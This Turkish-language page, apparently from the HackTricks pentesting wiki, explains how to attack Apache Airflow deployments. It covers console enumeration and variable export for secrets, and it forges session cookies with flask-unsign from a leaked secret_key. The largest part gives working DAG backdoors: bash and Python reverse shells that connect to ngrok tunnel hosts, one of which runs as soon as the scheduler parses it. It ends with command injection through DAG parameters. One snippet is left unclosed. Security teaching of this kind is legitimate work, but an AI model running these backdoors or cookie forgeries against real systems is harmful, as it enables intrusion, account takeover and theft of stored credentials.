Apache Airflow Güvenliği

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Apache Airflow, veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform olarak hizmet eder. Veri boru hatları bağlamında “orchestrasyon” terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarını düzenleme, koordine etme ve yönetme sürecini ifade eder. Bu düzenlenmiş veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri setleri sağlamaktır. Bu veri setleri, iş zekası araçları, veri bilimi ve makine öğrenimi modelleri gibi birçok uygulama tarafından yaygın olarak kullanılmaktadır ve bunlar büyük veri uygulamalarının işleyişi için temeldir.

Temelde, Apache Airflow, bir şey olduğunda (olay, cron) kodun yürütülmesini zamanlamanıza olanak tanır.

Yerel Laboratuvar

Docker-Compose

Tam bir apache airflow docker ortamı başlatmak için https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml adresinden docker-compose yapılandırma dosyasını kullanabilirsiniz. (Eğer MacOS kullanıyorsanız, docker VM’ye en az 6GB RAM vermeyi unutmayın).

Minikube

Apache Airflow’u çalıştırmanın kolay bir yolu, minikube ile çalıştırmaktır:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow Yapılandırması

Airflow, yapılandırmasında hassas bilgileri saklayabilir veya zayıf yapılandırmalar bulabilirsiniz:

Airflow Configuration

Airflow RBAC

Airflow’a saldırmaya başlamadan önce izinlerin nasıl çalıştığını anlamalısınız:

Airflow RBAC

Saldırılar

Web Konsolu Sayımı

Eğer web konsoluna erişiminiz varsa, aşağıdaki bilgilerden bazılarına veya hepsine erişim sağlayabilirsiniz:

  • Değişkenler (Özel hassas bilgiler burada saklanabilir)
  • Bağlantılar (Özel hassas bilgiler burada saklanabilir)
  • http://<airflow>/connection/list/ adresinden erişin
  • Yapılandırma (Hassas bilgiler, örneğin secret_key ve şifreler burada saklanabilir)
  • kullanıcılar ve roller listesini görüntüleyin
  • Her DAG’ın kodu (ilginç bilgiler içerebilir)

Değişken Değerlerini Alma

Değişkenler Airflow’da saklanabilir, böylece DAG’lar değerlerine erişebilir. Bu, diğer platformların gizli bilgilerine benzer. Eğer yeterli izinleriniz varsa, bunlara http://<airflow>/variable/list/ adresinden GUI üzerinden erişebilirsiniz.
Airflow varsayılan olarak değişkenin değerini GUI’de gösterir, ancak bu kaynağa göre, değerleri yıldız olarak görünecek şekilde değişkenler listesi ayarlamak mümkündür.

Ancak, bu değerler hala CLI aracılığıyla alınabilir (DB erişiminiz olmalı), rastgele DAG çalıştırma, API ile değişkenler uç noktasına erişim (API’nin etkinleştirilmesi gerekir) ve hatta GUI’nin kendisi!
Bu değerleri GUI’den erişmek için sadece erişmek istediğiniz değişkenleri seçin ve Eylemler -> Dışa Aktar seçeneğine tıklayın.
Başka bir yol, gizli değere ulaşmak için arama filtrelemesi kullanarak bruteforce yapmaktır:

Yetki Yükseltme

Eğer expose_config yapılandırması True olarak ayarlandıysa, Kullanıcı rolünden ve üstündeki rollerden web’deki yapılandırmayı okuyabilirler. Bu yapılandırmada, secret_key görünür, bu da geçerli bir kullanıcıya sahip olan herhangi birinin kendi imzalı çerezini oluşturup başka bir kullanıcı hesabını taklit edebileceği anlamına gelir.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Arka Kapı (Airflow işçisi içinde RCE)

Eğer DAG’ların kaydedildiği yere yazma erişiminiz varsa, sadece bir tane oluşturabilirsiniz ve bu size bir ters kabuk gönderecektir.
Bu ters kabuğun bir airflow işçi konteyneri içinde çalıştırılacağını unutmayın:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Arka Kapı (Airflow zamanlayıcısında RCE)

Eğer bir şeyi kodun kökünde çalıştırılacak şekilde ayarlarsanız, bu yazının yazıldığı anda, zamanlayıcı tarafından DAG klasörüne yerleştirildikten birkaç saniye sonra çalıştırılacaktır.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG Oluşturma

Eğer DAG kümesindeki bir makineyi ele geçirirseniz, dags/ klasöründe yeni DAG’lar scriptleri oluşturabilirsiniz ve bunlar DAG kümesindeki diğer makinelere kopyalanacaktır.

DAG Kod Enjeksiyonu

GUI’den bir DAG çalıştırdığınızda ona argümanlar geçebilirsiniz.
Bu nedenle, eğer DAG düzgün kodlanmamışsa Komut Enjeksiyonuna açık olabilir.
Bu, bu CVE’de olan bir durumdur: https://www.exploit-db.com/exploits/49927

DAG’lerde komut enjeksiyonları aramaya başlamak için bilmeniz gereken tek şey, parametrelerin dag_run.conf.get("param_name") kodu ile erişildiğidir.

Ayrıca, aynı zafiyet değişkenlerle de meydana gelebilir (yeterli ayrıcalıklara sahip olduğunuzda değişkenlerin değerini GUI’de kontrol edebilirsiniz). Değişkenler şu şekilde erişilir:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Eğer örneğin bir bash komutunun içinde kullanılırlarsa, bir komut enjeksiyonu gerçekleştirebilirsiniz.

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin